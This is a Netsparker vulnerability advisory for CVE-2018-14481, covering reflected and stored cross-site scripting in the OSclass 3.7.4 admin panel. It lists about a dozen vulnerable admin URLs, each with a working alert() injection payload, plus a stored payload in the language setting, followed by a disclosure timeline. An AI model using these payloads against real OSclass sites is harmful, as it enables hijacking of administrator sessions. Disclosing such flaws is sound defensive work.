Multiple Cross-site Scripting Vulnerabilities in OSclass 3.7.4 Information -------------------- Advisory by Netsparker Name: Multiple Cross-site Scripting Vulnerabilities in OSclass 3.7.4 Affected Software: OSclass Affected Versions: 3.7.4 Homepage: https://osclass.org/ Vulnerability: Reflected Cross-site Scripting, Stored Cross-site Scripting Severity: High Status: Fixed CVE-ID: - 2018-14481 CVSS Score (3.0): Reflected XSS : CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L Stored XSS: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L Netsparker Advisory Reference: NS-18-029 Technical Details -------------------- URL:/oc-admin/index.php/x?page=items&iDisplayLengthx%22%3E%3Cscript%3Ealert(1)%3C/script%3E=&iDisplayLength=1 Parameter Name: iDisplayLength Parameter Type : GET Attack Pattern : x%22%3E%3Cscript%3Ealert(1)%3C/script%3E=&iDisplayLength=1 URL : /oc-admin/index.php?page=items&action=items_reported&id[]=&sort=date&direction=asc&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x005A81)%3C/scRipt%3E=nsextt Parameter Name : nsparamname Parameter Type : GET Attack Patern : '"--></style></scRipt><scRipt>alert(0x005A81)</scRipt> URL : /oc-admin/index.php?page=items&action=items_reported&sort=date&direction=asc&iDisplayLength=10&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x005707)%3C/scRipt%3E=nsextt Parameter Name : nsparamname Parameter Type : GET Attack Patern : '"--></style></scRipt><scRipt>alert(0x005707)</scRipt> URL : /oc-admin/index.php?page=items&action=items_reported&sort=spam&iDisplayLength=10&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0042C1)%3C/scRipt%3E=nsextt Parameter Name : nsparamname Parameter Type : GET Attack Patern : '"--></style></scRipt><scRipt>alert(0x0042C1)</scRipt> URL : /oc-admin/index.php?page=items&iDisplayLength=10&sSearch=&user=&userId=&itemId=&shortcut-filter=oPattern&sort=date&direction=asc&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x007CE4)%3C/scRipt%3E=nsextt Parameter Name : nsparamname Parameter Type : GET Attack Patern : '"--></style></scRipt><scRipt>alert(0x007CE4)</scRipt> URL : /oc-admin/index.php?page=items&action=items_reported&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x001372)%3C/scRipt%3E=nsextt Parameter Name : nsparamname Parameter Type : GET Attack Patern : '"--></style></scRipt><scRipt>alert(0x001372)</scRipt> URL : /oc-admin/index.php?page=items&action=items_reported&sort=date&direction=asc&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x002945)%3C/scRipt%3E=nsextt Parameter Name : nsparamname Parameter Type : GET Attack Patern : '"--></style></scRipt><scRipt>alert(0x002945)</scRipt> URL : /oc-admin/index.php?page=items&action=items_reported&sort=spam&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x001381)%3C/scRipt%3E=nsextt Parameter Name : nsparamname Parameter Type : GET Attack Patern : '"--></style></scRipt><scRipt>alert(0x001381)</scRipt> URL : /oc-admin/index.php?page=items&iDisplayLength=10&sort=date&direction=desc&sSearch=&countryName=&countryId=&region=&regionId=&city=&cityId=&user=&userId=&catId=5&b_premium=1&b_active=1&b_enabled=3&b_spam=1&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0042E7)%3C/scRipt%3E=nsextt Parameter Name : nsparamname Parameter Type : GET Attack Patern : '"--></style></scRipt><scRipt>alert(0x0042E7)</scRipt> URL : /oc-admin/index.php?page=plugins&action=delete&CSRFName={CRSF_NAME}&CSRFToken=CRSF_TOKEN}&plugin=&iDisplayLength=10&'%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0075A6)%3C/scRipt%3E=nsextt Parameter Name : nsparamname Parameter Type : GET Attack Patern : '"--></style></scRipt><scRipt>alert(0x0075A6)</scRipt> Note: This vulnerability donat exploit by CSRFName parameter and CSRFToken parameter. URL : /oc-admin/index.php?page=plugins&iDisplayLength=10&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0078C1)%3C/scRipt%3E=nsextt Parameter Name : nsparamname Parameter Type : GET Attack Patern : '"--></style></scRipt><scRipt>alert(0x0078C1)</scRipt> URL : /oc-admin/index.php?page=plugins&marketError=&iDisplayLength=10&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x004028)%3C/scRipt%3E=nsextt Parameter Name : nsparamname Parameter Type : GET Attack Patern : '"--></style></scRipt><scRipt>alert(0x004028)</scRipt> URL : /oc-admin/index.php?page=plugins&marketError=&iDisplayLength=10&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x007BDC)%3C/scRipt%3E=nsextt Parameter Name : nsparamname Parameter Type : GET Attack Patern : '"--></style></scRipt><scRipt>alert(0x007BDC)</scRipt> Stored XSS Injection Request URL : /oc-admin/index.php?page=settings Parameter Name : language Parameter Type : POST Attack Patern : '+alert(0x007BDC)+' Identification Request URL : /oc-admin/index.php?page=settings For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS). Advisory Timeline -------------------- 11th April 2018 - First Contact 16th July 2018 - Vendor Fixed 4th December 2018 - Advisory Released Credits & Authors -------------------- These issues have been discovered by Zekvan Arslan while testing Netsparker Web Application Security Scanner. About Netsparker -------------------- Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engineas unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.